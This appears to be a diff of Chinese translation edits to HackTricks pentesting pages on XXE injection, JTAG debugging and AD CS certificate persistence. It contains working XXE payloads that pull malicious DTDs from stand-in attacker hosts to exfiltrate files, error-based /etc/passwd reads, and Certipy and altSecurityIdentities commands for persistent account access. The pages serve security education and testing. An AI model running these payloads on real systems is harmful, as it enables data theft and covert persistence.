在给定的恶意 DTD 中,执行了一系列步骤以泄露数据:
|
||||
|
||||
### 恶意 DTD 示例:
|
||||
|
||||
@ -113,7 +113,7 @@ XXE 可以被用来滥用云中的 SSRF
|
||||
- 使用 `%eval` 实体,导致动态声明 `%exfiltrate` 实体的执行。
|
||||
- 然后使用 `%exfiltrate` 实体,触发对指定 URL 的 HTTP 请求,包含文件的内容。
|
||||
|
||||
攻击者将这个恶意 DTD 托管在他们控制的服务器上,通常位于类似 `http://web-attacker.com/malicious.dtd` 的 URL。
|
||||
攻击者在其控制的服务器上托管此恶意 DTD,通常位于类似 `http://web-attacker.com/malicious.dtd` 的 URL。
|
||||
|
||||
**XXE Payload:** 为了利用一个脆弱的应用程序,攻击者发送一个 XXE payload:
|
||||
```xml
|
||||
@ -121,7 +121,7 @@ XXE 可以被用来滥用云中的 SSRF
|
||||
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://web-attacker.com/malicious.dtd"> %xxe;]>
|
||||
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>
|
||||
```
|
||||
这个有效负载定义了一个 XML 参数实体 `%xxe` 并将其纳入 DTD。当被 XML 解析器处理时,这个有效负载从攻击者的服务器获取外部 DTD。然后解析器在线解释 DTD,执行恶意 DTD 中概述的步骤,导致 `/etc/hostname` 文件被外泄到攻击者的服务器。
|
||||
这个有效负载定义了一个 XML 参数实体 `%xxe` 并将其纳入 DTD。当被 XML 解析器处理时,这个有效负载从攻击者的服务器获取外部 DTD。解析器随后内联解释 DTD,执行恶意 DTD 中概述的步骤,导致 `/etc/hostname` 文件被外泄到攻击者的服务器。
|
||||
|
||||
### 基于错误的(外部 DTD)
|
||||
|
||||
@ -144,15 +144,15 @@ XXE 可以被用来滥用云中的 SSRF
|
||||
|
||||
.png>)
|
||||
|
||||
_**请注意,外部 DTD 允许我们在第二个 `eval` 中包含一个实体,但在内部 DTD 中是禁止的。因此,通常情况下,您无法在不使用外部 DTD 的情况下强制产生错误。**_
|
||||
_**请注意,外部 DTD 允许我们在第二个 `eval` 中包含一个实体,但在内部 DTD 中是禁止的。因此,通常情况下,您无法强制产生错误而不使用外部 DTD。**_
|
||||
|
||||
### **基于错误的 (系统 DTD)**
|
||||
|
||||
那么,当 **出带交互被阻止**(外部连接不可用)时,盲 XXE 漏洞怎么办?
|
||||
|
||||
XML 语言规范中的一个漏洞可以 **通过错误消息暴露敏感数据,当文档的 DTD 混合内部和外部声明时**。这个问题允许内部重新定义外部声明的实体,从而促进基于错误的 XXE 攻击的执行。这种攻击利用了在内部 DTD 中重新定义原本在外部 DTD 中声明的 XML 参数实体。当服务器阻止出带连接时,攻击者必须依赖本地 DTD 文件进行攻击,旨在诱发解析错误以揭示敏感信息。
|
||||
XML 语言规范中的一个漏洞可以 **通过错误消息暴露敏感数据,当文档的 DTD 混合内部和外部声明时**。这个问题允许内部重新定义外部声明的实体,从而促进基于错误的 XXE 攻击的执行。这类攻击利用了从内部 DTD 中重新定义原本在外部 DTD 中声明的 XML 参数实体。当服务器阻止出带连接时,攻击者必须依赖本地 DTD 文件进行攻击,旨在诱发解析错误以揭示敏感信息。
|
||||
|
||||
考虑一个场景,其中服务器的文件系统包含一个位于 `/usr/local/app/schema.dtd` 的 DTD 文件,定义了一个名为 `custom_entity` 的实体。攻击者可以通过提交一个混合 DTD 来诱发 XML 解析错误,从而揭示 `/etc/passwd` 文件的内容,如下所示:
|
||||
考虑一个场景,服务器的文件系统中包含一个位于 `/usr/local/app/schema.dtd` 的 DTD 文件,定义了一个名为 `custom_entity` 的实体。攻击者可以通过提交一个混合 DTD 来诱发 XML 解析错误,从而揭示 `/etc/passwd` 文件的内容,如下所示:
|
||||
```xml
|
||||
<!DOCTYPE foo [
|
||||
<!ENTITY % local_dtd SYSTEM "file:///usr/local/app/schema.dtd">
|
||||
@ -171,7 +171,7 @@ XML 语言规范中的一个漏洞可以 **通过错误消息暴露敏感数据
|
||||
- 对 `custom_entity` XML 参数实体进行重新定义,该实体最初在外部 DTD 中定义,以封装一个 [基于错误的 XXE 漏洞](https://portswigger.net/web-security/xxe/blind#exploiting-blind-xxe-to-retrieve-data-via-error-messages)。此重新定义旨在引发解析错误,从而暴露 `/etc/passwd` 文件的内容。
|
||||
- 通过使用 `local_dtd` 实体,外部 DTD 被调用,包含新定义的 `custom_entity`。这一系列操作导致了漏洞所针对的错误消息的发出。
|
||||
|
||||
**现实世界示例:** 使用 GNOME 桌面环境的系统通常在 `/usr/share/yelp/dtd/docbookx.dtd` 处有一个 DTD,其中包含一个名为 `ISOamso` 的实体。
|
||||
**现实世界示例:** 使用 GNOME 桌面环境的系统通常在 `/usr/share/yelp/dtd/docbookx.dtd` 处具有一个 DTD,其中包含一个名为 `ISOamso` 的实体。
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE foo [
|
||||
@ -188,7 +188,7 @@ XML 语言规范中的一个漏洞可以 **通过错误消息暴露敏感数据
|
||||
```
|
||||
.png>)
|
||||
|
||||
由于此技术使用**内部 DTD,您需要先找到一个有效的 DTD**。您可以通过**安装**服务器使用的相同**操作系统/软件**并**搜索一些默认 DTD**,或者**获取系统内的默认 DTD 列表**并**检查**它们是否存在:
|
||||
由于此技术使用**内部 DTD,您需要先找到一个有效的 DTD**。您可以通过**安装**服务器使用的相同**操作系统/软件**并**搜索一些默认 DTD**,或者**获取系统内的默认 DTD 列表**并**检查**其中是否存在任何一个:
|
||||
```xml
|
||||
<!DOCTYPE foo [
|
||||
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
|
||||
@ -225,13 +225,13 @@ Testing 0 entities : []
|
||||
|
||||
要测试此漏洞,需要创建一个**包含 XXE 有效负载的 Microsoft Office 文件**。第一步是创建一个空目录,以便将文档解压缩到该目录中。
|
||||
|
||||
一旦文档被解压缩,位于 `./unzipped/word/document.xml` 的 XML 文件应在首选文本编辑器(如 vim)中打开并编辑。XML 应修改为包含所需的 XXE 有效负载,通常以 HTTP 请求开头。
|
||||
一旦文档被解压缩,位于 `./unzipped/word/document.xml` 的 XML 文件应在首选文本编辑器(如 vim)中打开并编辑。XML 应修改以包含所需的 XXE 有效负载,通常以 HTTP 请求开头。
|
||||
|
||||
修改后的 XML 行应插入到两个根 XML 对象之间。重要的是将 URL 替换为可监控请求的 URL。
|
||||
|
||||
最后,可以将文件压缩以创建恶意的 poc.docx 文件。从之前创建的 "unzipped" 目录中,应运行以下命令:
|
||||
|
||||
现在,可以将创建的文件上传到潜在易受攻击的网络应用程序,并希望在 Burp Collaborator 日志中出现请求。
|
||||
现在,创建的文件可以上传到潜在易受攻击的网络应用程序中,并希望在 Burp Collaborator 日志中出现请求。
|
||||
|
||||
### Jar: protocol
|
||||
|
||||
@ -246,12 +246,12 @@ jar:https://download.host.com/myarchive.zip!/file.txt
|
||||
通过 jar 协议访问 PKZIP 存档中的文件的过程涉及几个步骤:
|
||||
|
||||
1. 发出 HTTP 请求,从指定位置下载 zip 存档,例如 `https://download.website.com/archive.zip`。
|
||||
2. 包含存档的 HTTP 响应暂时存储在系统上,通常在 `/tmp/...` 这样的地方。
|
||||
2. 包含存档的 HTTP 响应暂时存储在系统上,通常在 `/tmp/...` 位置。
|
||||
3. 然后提取存档以访问其内容。
|
||||
4. 读取存档中的特定文件 `file.zip`。
|
||||
5. 操作完成后,删除在此过程中创建的任何临时文件。
|
||||
|
||||
在第二步中中断此过程的一个有趣技术是保持服务器连接在提供存档文件时无限期打开。可以利用 [这个仓库](https://github.com/GoSecure/xxe-workshop/tree/master/24_write_xxe/solution) 中的工具来实现这一点,包括一个 Python 服务器 (`slow_http_server.py`) 和一个 Java 服务器 (`slowserver.jar`)。
|
||||
在第二步中中断此过程的一个有趣技术是保持服务器连接在提供存档文件时无限期打开。可以利用 [这个仓库](https://github.com/GoSecure/xxe-workshop/tree/master/24_write_xxe/solution) 中的工具来实现这一点,包括 Python 服务器 (`slow_http_server.py`) 和 Java 服务器 (`slowserver.jar`)。
|
||||
```xml
|
||||
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "jar:http://attacker.com:8080/evil.zip!/evil.dtd">]>
|
||||
<foo>&xxe;</foo>
|
||||
@ -322,7 +322,7 @@ productId=<foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="tex
|
||||
|
||||
用户上传到某些应用程序的文件,然后在服务器上处理,可能会利用 XML 或包含 XML 的文件格式处理中的漏洞。常见的文件格式如办公文档 (DOCX) 和图像 (SVG) 基于 XML。
|
||||
|
||||
当用户 **上传图像** 时,这些图像会在服务器端进行处理或验证。即使对于期望 PNG 或 JPEG 格式的应用程序,**服务器的图像处理库也可能支持 SVG 图像**。SVG 作为一种基于 XML 的格式,可能被攻击者利用来提交恶意 SVG 图像,从而使服务器暴露于 XXE(XML 外部实体)漏洞。
|
||||
当用户 **上传图像** 时,这些图像会在服务器端进行处理或验证。即使对于期望 PNG 或 JPEG 格式的应用程序,**服务器的图像处理库也可能支持 SVG 图像**。SVG 作为一种基于 XML 的格式,攻击者可以利用它提交恶意 SVG 图像,从而使服务器暴露于 XXE(XML 外部实体)漏洞。
|
||||
|
||||
下面展示了一个此类攻击的示例,其中恶意 SVG 图像试图读取系统文件:
|
||||
```xml
|
||||
@ -334,9 +334,9 @@ productId=<foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="tex
|
||||
<image xlink:href="expect://ls"></image>
|
||||
</svg>
|
||||
```
|
||||
在这两种情况下,SVG 格式被用来发起攻击,利用服务器软件的 XML 处理能力,突显了对强大输入验证和安全措施的需求。
|
||||
在这两种情况下,SVG 格式被用来发起攻击,利用服务器软件的 XML 处理能力,这突显了强大输入验证和安全措施的必要性。
|
||||
|
||||
查看 [https://portswigger.net/web-security/xxe](https://portswigger.net/web-security/xxe) 获取更多信息!
|
||||
查看 [https://portswigger.net/web-security/xxe](https://portswigger.net/web-security/xxe) 以获取更多信息!
|
||||
|
||||
**请注意,读取文件的第一行或执行结果将出现在创建的图像内部。因此,您需要能够访问 SVG 创建的图像。**
|
||||
|
||||
@ -348,7 +348,7 @@ productId=<foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="tex
|
||||
file-upload/pdf-upload-xxe-and-cors-bypass.md
|
||||
{{#endref}}
|
||||
|
||||
### Content-Type: 从 x-www-urlencoded 到 XML
|
||||
### 内容类型:从 x-www-urlencoded 到 XML
|
||||
|
||||
如果 POST 请求接受 XML 格式的数据,您可以尝试在该请求中利用 XXE。例如,如果正常请求包含以下内容:
|
||||
```xml
|
||||
@ -408,7 +408,7 @@ Content-Type: application/xml;charset=UTF-8
|
||||
|
||||
### UTF-7
|
||||
|
||||
您可以在此处使用 \[**"Encode Recipe**" of cyberchef\](\[https://gchq.github.io/CyberChef/index.html#recipe=Encode_text%28'UTF-7](https://gchq.github.io/CyberChef/#recipe=Encode_text%28'UTF-7) %2865000%29'%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4)将其转换为 UTF-7。
|
||||
您可以在这里使用 \[**"Encode Recipe**" of cyberchef\](\[https://gchq.github.io/CyberChef/index.html#recipe=Encode_text%28'UTF-7](https://gchq.github.io/CyberChef/#recipe=Encode_text%28'UTF-7) %2865000%29'%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4))将其转换为 UTF-7。
|
||||
```xml
|
||||
<!xml version="1.0" encoding="UTF-7"?-->
|
||||
+ADw-+ACE-DOCTYPE+ACA-foo+ACA-+AFs-+ADw-+ACE-ENTITY+ACA-example+ACA-SYSTEM+ACA-+ACI-/etc/passwd+ACI-+AD4-+ACA-+AF0-+AD4-+AAo-+ADw-stockCheck+AD4-+ADw-productId+AD4-+ACY-example+ADs-+ADw-/productId+AD4-+ADw-storeId+AD4-1+ADw-/storeId+AD4-+ADw-/stockCheck+AD4-
|
||||
@ -476,7 +476,7 @@ DTD 示例:
|
||||
|
||||
这个例子灵感来源于 [https://pwn.vg/articles/2021-06/local-file-read-via-error-based-xxe](https://pwn.vg/articles/2021-06/local-file-read-via-error-based-xxe)
|
||||
|
||||
XLIFF (XML Localization Interchange File Format) 用于标准化本地化过程中的数据交换。它是一种基于 XML 的格式,主要用于在本地化过程中在工具之间传输可本地化数据,并作为计算机辅助翻译 (CAT) 工具的通用交换格式。
|
||||
XLIFF (XML 本地化交换文件格式) 用于标准化本地化过程中的数据交换。它是一种基于 XML 的格式,主要用于在本地化过程中在工具之间传输可本地化数据,并作为计算机辅助翻译 (CAT) 工具的通用交换格式。
|
||||
|
||||
### Blind Request Analysis
|
||||
|
||||
@ -492,7 +492,7 @@ Content-Type: application/x-xliff+xml
|
||||
<xliff srcLang="en" trgLang="ms-MY" version="2.0"></xliff>
|
||||
------WebKitFormBoundaryqBdAsEtYaBjTArl3--
|
||||
```
|
||||
然而,此请求触发了内部服务器错误,具体提到标记声明的问题:
|
||||
然而,此请求触发了内部服务器错误,特别提到标记声明的问题:
|
||||
```json
|
||||
{
|
||||
"status": 500,
|
||||
@ -514,16 +514,16 @@ Content-Type: application/x-xliff+xml
|
||||
<xliff srcLang="en" trgLang="ms-MY" version="2.0"></xliff>
|
||||
------WebKitFormBoundaryqBdAsEtYaBjTArl3--
|
||||
```
|
||||
这种方法揭示了用户代理指示使用 Java 1.8。该版本 Java 的一个显著限制是无法使用带外技术检索包含换行符的文件,例如 /etc/passwd。
|
||||
这种方法揭示了用户代理指示使用 Java 1.8。这个版本的 Java 的一个显著限制是无法使用带外技术检索包含换行符的文件,例如 /etc/passwd。
|
||||
|
||||
基于错误的数据外泄 为了克服这一限制,采用了基于错误的方法。DTD 文件的结构如下,以触发包含目标文件数据的错误:
|
||||
基于错误的数据外泄 为了克服这个限制,采用了基于错误的方法。DTD 文件的结构如下,以触发包含目标文件数据的错误:
|
||||
```xml
|
||||
<!ENTITY % data SYSTEM "file:///etc/passwd">
|
||||
<!ENTITY % foo "<!ENTITY % xxe SYSTEM 'file:///nofile/'>">
|
||||
%foo;
|
||||
%xxe;
|
||||
```
|
||||
服务器响应错误,重要的是反映出不存在的文件,表明服务器正在尝试访问指定的文件:
|
||||
服务器返回错误,重要的是反映出不存在的文件,表明服务器正在尝试访问指定的文件:
|
||||
```javascript
|
||||
{"status":500,"error":"Internal Server Error","message":"IO error.\nReason: /nofile (No such file or directory)"}
|
||||
```
|
||||
@ -684,16 +684,16 @@ https://github.com/luisfontes19/xxexploiter
|
||||
### Python lxml 参数实体 XXE (基于错误的文件泄露)
|
||||
|
||||
> [!INFO]
|
||||
> Python 库 **lxml** 在底层使用 **libxml2**。 版本低于 **lxml 5.4.0 / libxml2 2.13.8** 的仍然会扩展 *参数* 实体,即使 `resolve_entities=False`,当应用程序启用 `load_dtd=True` 和/或 `resolve_entities=True` 时,这些实体仍然可达。这允许基于错误的 XXE 有效载荷将本地文件的内容嵌入到解析器错误消息中。
|
||||
> Python 库 **lxml** 在底层使用 **libxml2**。 版本低于 **lxml 5.4.0 / libxml2 2.13.8** 的仍然会扩展 *参数* 实体,即使 `resolve_entities=False`,当应用程序启用 `load_dtd=True` 和/或 `resolve_entities=True` 时,这些实体仍然可以被访问。这允许基于错误的 XXE 有效载荷将本地文件的内容嵌入到解析器错误消息中。
|
||||
|
||||
#### 1. 利用 lxml < 5.4.0
|
||||
1. 在磁盘上识别或创建一个定义 **未定义** 参数实体的 *本地* DTD(例如 `%config_hex;`)。
|
||||
1. 识别或创建一个在磁盘上的 *local* DTD,定义一个 **未定义** 的参数实体(例如 `%config_hex;`)。
|
||||
2. 构造一个内部 DTD:
|
||||
* 使用 `<!ENTITY % local_dtd SYSTEM "file:///tmp/xml/config.dtd">` 加载本地 DTD。
|
||||
* 重新定义未定义的实体,使其:
|
||||
- 读取目标文件 (`<!ENTITY % flag SYSTEM "file:///tmp/flag.txt">`)。
|
||||
- 构建另一个参数实体,引用包含 `%flag;` 值的 **无效路径** 并触发解析器错误 (`<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///aaa/%flag;'>">`)。
|
||||
3. 最后展开 `%local_dtd;` 和 `%eval;`,使解析器遇到 `%error;`,无法打开 `/aaa/<FLAG>` 并在抛出的异常中泄露标志 – 这通常会被应用程序返回给用户。
|
||||
- 读取目标文件(`<!ENTITY % flag SYSTEM "file:///tmp/flag.txt">`)。
|
||||
- 构建另一个参数实体,引用一个包含 `%flag;` 值的 **无效路径** 并触发解析器错误(`<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///aaa/%flag;'>">`)。
|
||||
3. 最后扩展 `%local_dtd;` 和 `%eval;`,使解析器遇到 `%error;`,无法打开 `/aaa/<FLAG>` 并在抛出的异常中泄露标志——这通常会被应用程序返回给用户。
|
||||
```xml
|
||||
<!DOCTYPE colors [
|
||||
<!ENTITY % local_dtd SYSTEM "file:///tmp/xml/config.dtd">
|
||||
|
||||
@ -11,13 +11,13 @@ README.md
|
||||
[**JTAGenum**](https://github.com/cyphunk/JTAGenum) 是一个可以加载到兼容Arduino的MCU或(实验性地)Raspberry Pi上的工具,用于暴力破解未知的JTAG引脚排列,甚至枚举指令寄存器。
|
||||
|
||||
- Arduino:将数字引脚D2–D11连接到最多10个可疑的JTAG垫/测试点,并将Arduino GND连接到目标GND。除非你知道电源轨是安全的,否则单独为目标供电。优先使用3.3 V逻辑(例如,Arduino Due),或者在探测1.8–3.3 V目标时使用电平转换器/串联电阻。
|
||||
- Raspberry Pi:Pi构建暴露的可用GPIO较少(因此扫描速度较慢);请查看仓库以获取当前引脚图和限制。
|
||||
- Raspberry Pi:Pi构建暴露的可用GPIO较少(因此扫描速度较慢);请查看repo以获取当前引脚图和限制。
|
||||
|
||||
一旦刷写完成,打开115200波特率的串口监视器并发送`h`以获取帮助。典型流程:
|
||||
|
||||
- `l` 查找环回以避免误报
|
||||
- `r` 如有需要,切换内部上拉电阻
|
||||
- `s` 扫描TCK/TMS/TDI/TDO(有时还有TRST/SRST)
|
||||
- `s` 扫描TCK/TMS/TDI/TDO(有时还包括TRST/SRST)
|
||||
- `y` 暴力破解IR以发现未记录的操作码
|
||||
- `x` 引脚状态的边界扫描快照
|
||||
|
||||
@ -30,20 +30,20 @@ README.md
|
||||
如果找到有效的TAP,你将看到以`FOUND!`开头的行,表示发现的引脚。
|
||||
|
||||
提示
|
||||
- 始终共享接地,切勿将未知引脚驱动到高于目标Vtref。如果有疑问,请在候选引脚上添加100–470 Ω的串联电阻。
|
||||
- 如果设备使用SWD/SWJ而不是4线JTAG,JTAGenum可能无法检测到;尝试SWD工具或支持SWJ‑DP的适配器。
|
||||
- 始终共享接地,切勿将未知引脚驱动到高于目标Vtref的电压。如果有疑问,请在候选引脚上添加100–470 Ω的串联电阻。
|
||||
- 如果设备使用SWD/SWJ而不是4线JTAG,JTAGenum可能无法检测到;尝试SWD工具或支持SWJ-DP的适配器。
|
||||
|
||||
## 更安全的引脚探测和硬件设置
|
||||
|
||||
- 首先使用万用表识别Vtref和GND。许多适配器需要Vtref来设置I/O电压。
|
||||
- 电平转换:优先使用为推挽信号设计的双向电平转换器(JTAG线路不是开漏)。避免为JTAG使用自动方向的I2C转换器。
|
||||
- 有用的适配器:FT2232H/FT232H板(例如,Tigard)、CMSIS‑DAP、J‑Link、ST‑LINK(特定于供应商)、ESP‑USB‑JTAG(在ESP32‑Sx上)。至少连接TCK、TMS、TDI、TDO、GND和Vtref;可选连接TRST和SRST。
|
||||
- 有用的适配器:FT2232H/FT232H板(例如,Tigard)、CMSIS-DAP、J-Link、ST-LINK(特定于供应商)、ESP-USB-JTAG(在ESP32-Sx上)。至少连接TCK、TMS、TDI、TDO、GND和Vtref;可选连接TRST和SRST。
|
||||
|
||||
## 与OpenOCD的首次接触(扫描和IDCODE)
|
||||
|
||||
OpenOCD是JTAG/SWD的事实上的开源软件。使用支持的适配器,你可以扫描链并读取IDCODE:
|
||||
|
||||
- 使用J‑Link的通用示例:
|
||||
- 使用J-Link的通用示例:
|
||||
```
|
||||
openocd -f interface/jlink.cfg -c "transport select jtag; adapter speed 1000" \
|
||||
-c "init; scan_chain; shutdown"
|
||||
@ -53,8 +53,8 @@ openocd -f interface/jlink.cfg -c "transport select jtag; adapter speed 1000" \
|
||||
openocd -f board/esp32s3-builtin.cfg -c "init; scan_chain; shutdown"
|
||||
```
|
||||
笔记
|
||||
- 如果您得到“全1/全0” IDCODE,请检查接线、电源、Vtref,以及端口是否被保险丝/选项字节锁定。
|
||||
- 请参阅 OpenOCD 低级 `irscan`/`drscan` 以在启动未知链时手动进行 TAP 交互。
|
||||
- 如果您得到“全为1/0”的IDCODE,请检查接线、电源、Vtref,以及端口是否被保险丝/选项字节锁定。
|
||||
- 请参阅OpenOCD低级`irscan`/`drscan`,以便在启动未知链时手动进行TAP交互。
|
||||
|
||||
## 停止CPU并转储内存/闪存
|
||||
|
||||
@ -65,7 +65,7 @@ openocd -f board/esp32s3-builtin.cfg -c "init; scan_chain; shutdown"
|
||||
openocd -f interface/jlink.cfg -f target/stm32f1x.cfg \
|
||||
-c "init; reset halt; mdw 0x08000000 4; dump_image flash.bin 0x08000000 0x00100000; shutdown"
|
||||
```
|
||||
- RISC‑V SoC(在可用时优先选择SBA):
|
||||
- RISC‑V SoC(优先使用SBA,如果可用):
|
||||
```
|
||||
openocd -f interface/ftdi/ft232h.cfg -f target/riscv.cfg \
|
||||
-c "init; riscv set_prefer_sba on; halt; dump_image sram.bin 0x80000000 0x20000; shutdown"
|
||||
@ -100,15 +100,15 @@ jtag> dr <bit pattern for boundary register>
|
||||
## 现代目标和注意事项
|
||||
|
||||
- ESP32‑S3/C3 包含原生 USB‑JTAG 桥接器;OpenOCD 可以直接通过 USB 进行通信,无需外部探头。这对于初步检查和转储非常方便。
|
||||
- RISC‑V 调试 (v0.13+) 得到了 OpenOCD 的广泛支持;当核心无法安全停止时,优先使用 SBA 进行内存访问。
|
||||
- RISC‑V 调试(v0.13+)得到 OpenOCD 的广泛支持;当核心无法安全停止时,优先使用 SBA 进行内存访问。
|
||||
- 许多 MCU 实现了调试认证和生命周期状态。如果 JTAG 看起来无响应但电源正常,设备可能被熔断为封闭状态或需要经过认证的探头。
|
||||
|
||||
## 防御和加固(在真实设备上预期的内容)
|
||||
|
||||
- 在生产中永久禁用或锁定 JTAG/SWD(例如,STM32 RDP 级别 2,ESP eFuses 禁用 PAD JTAG,NXP/Nordic APPROTECT/DPAP)。
|
||||
- 在生产中永久禁用或锁定 JTAG/SWD(例如,STM32 RDP 级别 2,禁用 PAD JTAG 的 ESP eFuses,NXP/Nordic APPROTECT/DPAP)。
|
||||
- 在保持制造访问的同时,要求经过认证的调试(ARMv8.2‑A ADIv6 调试认证,OEM 管理的挑战-响应)。
|
||||
- 不要布线简单的测试垫;埋藏测试通孔,移除/填充电阻以隔离 TAP,使用带键控或弹簧针夹具的连接器。
|
||||
- 上电调试锁:在早期 ROM 后面对 TAP 进行门控,以强制执行安全启动。
|
||||
- 不要布置容易测试的测试垫;埋藏测试通孔,移除/填充电阻以隔离 TAP,使用带键控或弹簧针夹具的连接器。
|
||||
- 上电调试锁:在早期 ROM 后面设置 TAP,以强制执行安全启动。
|
||||
|
||||
## 参考文献
|
||||
|
||||
|
||||
@ -1,58 +0,0 @@
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
在 ping 响应 TTL:\
|
||||
127 = Windows\
|
||||
254 = Cisco\
|
||||
其他的是某些 Linux
|
||||
|
||||
$1$- md5\
|
||||
$2$或 $2a$ - Blowfish\
|
||||
$5$- sha256\
|
||||
$6$- sha512
|
||||
|
||||
如果你不知道某个服务背后是什么,尝试发起一个 HTTP GET 请求。
|
||||
|
||||
**UDP 扫描**\
|
||||
nc -nv -u -z -w 1 \<IP> 160-16
|
||||
|
||||
一个空的 UDP 数据包被发送到特定端口。如果 UDP 端口是开放的,目标机器不会回复。如果 UDP 端口是关闭的,目标机器应该会发送一个 ICMP 端口不可达的数据包。\
|
||||
|
||||
UDP 端口扫描通常不可靠,因为防火墙和路由器可能会丢弃 ICMP\
|
||||
数据包。这可能导致扫描中的假阳性,你会经常看到\
|
||||
UDP 端口扫描显示被扫描机器上的所有 UDP 端口都是开放的。\
|
||||
大多数端口扫描器不会扫描所有可用端口,通常有一个预设的“有趣端口”列表\
|
||||
进行扫描。
|
||||
|
||||
# CTF - 技巧
|
||||
|
||||
在 **Windows** 中使用 **Winzip** 搜索文件。\
|
||||
**备用数据流**:_dir /r | find ":$DATA"_\
|
||||
```
|
||||
binwalk --dd=".*" <file> #Extract everything
|
||||
binwalk -M -e -d=10000 suspicious.pdf #Extract, look inside extracted files and continue extracing (depth of 10000)
|
||||
```
|
||||
## Crypto
|
||||
|
||||
**featherduster**\
|
||||
|
||||
**Basae64**(6—>8) —> 0...9, a...z, A…Z,+,/\
|
||||
**Base32**(5 —>8) —> A…Z, 2…7\
|
||||
**Base85** (Ascii85, 7—>8) —> 0...9, a...z, A...Z, ., -, :, +, =, ^, !, /, \*, ?, &, <, >, (, ), \[, ], {, }, @, %, $, #\
|
||||
**Uuencode** --> Start with "_begin \<mode> \<filename>_" and weird chars\
|
||||
**Xxencoding** --> Start with "_begin \<mode> \<filename>_" and B64\
|
||||
\
|
||||
**Vigenere** (频率分析) —> [https://www.guballa.de/vigenere-solver](https://www.guballa.de/vigenere-solver)\
|
||||
**Scytale** (字符偏移) —> [https://www.dcode.fr/scytale-cipher](https://www.dcode.fr/scytale-cipher)
|
||||
|
||||
**25x25 = QR**
|
||||
|
||||
factordb.com\
|
||||
rsatool
|
||||
|
||||
Snow --> 使用空格和制表符隐藏消息
|
||||
|
||||
# Characters
|
||||
|
||||
%E2%80%AE => RTL字符 (反向书写有效载荷)
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
@ -46,7 +46,7 @@ Rubeus.exe asktgt /user:HOSTNAME$ /certificate:C:\Temp\host.pfx /password:Passw0
|
||||
```
|
||||
## 通过证书续订扩展持久性 - PERSIST3
|
||||
|
||||
滥用证书模板的有效性和续订周期使攻击者能够维持长期访问。如果您拥有先前颁发的证书及其私钥,您可以在到期之前续订它,以获得一个新的、长期有效的凭证,而不会留下与原始主体相关的额外请求痕迹。
|
||||
滥用证书模板的有效性和续订周期使攻击者能够维持长期访问。如果您拥有先前颁发的证书及其私钥,您可以在到期之前续订它,以获得一个新的、长期有效的凭证,而不会留下与原始主体相关的额外请求伪迹。
|
||||
```bash
|
||||
# Renewal with Certipy (works with RPC/DCOM/WebEnrollment)
|
||||
# Provide the existing PFX and target the same CA/template when possible
|
||||
@ -57,11 +57,11 @@ certipy req -u 'john@corp.local' -p 'Passw0rd!' -ca 'CA-SERVER\CA-NAME' \
|
||||
# (use the serial/thumbprint of the cert to renew; reusekeys preserves the keypair)
|
||||
certreq -enroll -user -cert <SerialOrID> renew [reusekeys]
|
||||
```
|
||||
> 操作提示:跟踪攻击者持有的 PFX 文件的生命周期并提前续订。续订还可以导致更新的证书包含现代 SID 映射扩展,使其在更严格的 DC 映射规则下保持可用(见下一节)。
|
||||
> 操作提示:跟踪攻击者持有的 PFX 文件的生命周期并提前续订。续订还可以使更新的证书包含现代 SID 映射扩展,使其在更严格的 DC 映射规则下保持可用(见下一节)。
|
||||
|
||||
## 植入显式证书映射 (altSecurityIdentities) – PERSIST4
|
||||
|
||||
如果您可以写入目标帐户的 `altSecurityIdentities` 属性,则可以将攻击者控制的证书显式映射到该帐户。这在密码更改后仍然有效,并且在使用强映射格式时,在现代 DC 执行下仍然保持功能。
|
||||
如果您可以写入目标帐户的 `altSecurityIdentities` 属性,您可以将攻击者控制的证书显式映射到该帐户。这在密码更改后仍然有效,并且在使用强映射格式时,在现代 DC 执行下仍然保持功能。
|
||||
|
||||
高级流程:
|
||||
|
||||
@ -85,7 +85,7 @@ Set-ADUser -Identity 'victim' -Add @{altSecurityIdentities=$Map}
|
||||
certipy auth -pfx attacker_user.pfx -dc-ip 10.0.0.10
|
||||
```
|
||||
笔记
|
||||
- 仅使用强映射类型:X509IssuerSerialNumber、X509SKI 或 X509SHA1PublicKey。弱格式(Subject/Issuer、仅主题、RFC822 电子邮件)已被弃用,并可能被 DC 策略阻止。
|
||||
- 仅使用强映射类型:X509IssuerSerialNumber、X509SKI 或 X509SHA1PublicKey。弱格式(Subject/Issuer、仅Subject、RFC822电子邮件)已被弃用,并可能被DC策略阻止。
|
||||
- 证书链必须构建到DC信任的根证书。NTAuth中的企业CA通常是受信任的;某些环境也信任公共CA。
|
||||
|
||||
有关弱显式映射和攻击路径的更多信息,请参见:
|
||||
@ -115,8 +115,8 @@ certipy req -u 'john@corp.local' -p 'Passw0rd!' -ca 'CA-SERVER\CA-NAME' \
|
||||
|
||||
Microsoft KB5014754 在域控制器上引入了强证书映射强制执行。从2025年2月11日起,DC 默认采用完全强制执行,拒绝弱/模糊映射。实际影响:
|
||||
|
||||
- 缺乏 SID 映射扩展的 2022 年之前的证书在 DC 处于完全强制执行时可能会失败隐式映射。攻击者可以通过 AD CS 续订证书(以获取 SID 扩展)或在 `altSecurityIdentities` 中植入强显式映射(PERSIST4)来维持访问。
|
||||
